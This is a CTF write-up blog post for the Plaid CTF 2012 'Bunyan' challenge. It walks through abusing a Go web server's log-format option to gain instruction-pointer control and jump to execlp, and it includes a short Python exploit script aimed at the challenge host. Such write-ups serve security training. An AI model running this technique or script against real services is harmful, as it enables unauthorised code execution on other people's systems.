02
May
2012

Plaid CTF 2012 – Bunyan

We found a simple web application that robots made to serve tmp files for debugging purposes. SSH into the machine as your_user@174.129.69.147 and exploit the web app to read their secret.
Title: Bunyan (200)
Category: Pwnables

The challenge consists of web server written in Go.

First we tried some standard web application attacks such as trying to access files outside of the webroot, but no succes. When we noticed the binary on the box was setgid we took this as a hint that we needed to run it locally and see if we could find anything there to exploit. We noticed there were a number of command line options:

$ ./webapp --help
Usage of ./webapp:
  -address=":8080": Address to listen on
  -logfmt=%d] : Log messages use this format for the prefix
  -loglevel=0: Log all messages at this level or below

The logfmt one looks interesting, maybe we can do a format string exploit using this one. Unfortunately there are some checks implemented: the length is limited to a maximum of 12 characters, there can be only a single % sign and only a few format string modifiers are allowed, no %n so unfortunately that’s not going to work. We do notice there is a %U modifier which translates to a unicode character.

After some fiddling we decide to run with -logfmt=”AAAAAAAAAA%U”. If we request a page with a large URL consisting of A a large number of times the process crashes with eip=0x41414141. So we have control over eip. We decided to use this to call the system function from glibc, unfortunately the argument points at the error string: ‘Error (open /home/paul/www/AAAAAAAAAAAAAAAAAAAAAAAAAAAA: no such file or directory) could not open /AAAAAAAAAAAAAAAAAAAAAAAAAAAA’ which includes brackets and therefore upsets system. We probably could have come up with a better solution, but instead we used exceclp and created a file with the full-patch name: ‘Error (open /home/paul/www/AAAAAAAAAAAAAAAAAAAAAAAAxxxx: no such file or directory) could not open /AAAAAAAAAAAAAAAAAAAAAAAAxxxx’ where xxxx is the address of execlp. Quite dirty, but it worked!

import socket,struct,urllib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('174.129.69.147', 5933))
exp = "GET /"
exp += "AAAA"*6 
exp += urllib.quote(struct.pack("<L",0x400de880)) # execlp
exp += " HTTP/1.0\n\n"
s.send(exp)
print s.recv(1024)

This yields us a nice shell, probably there was a cleaner solution, but hey quick and dirty works just as well here πŸ˜€

Trackbacks & Pings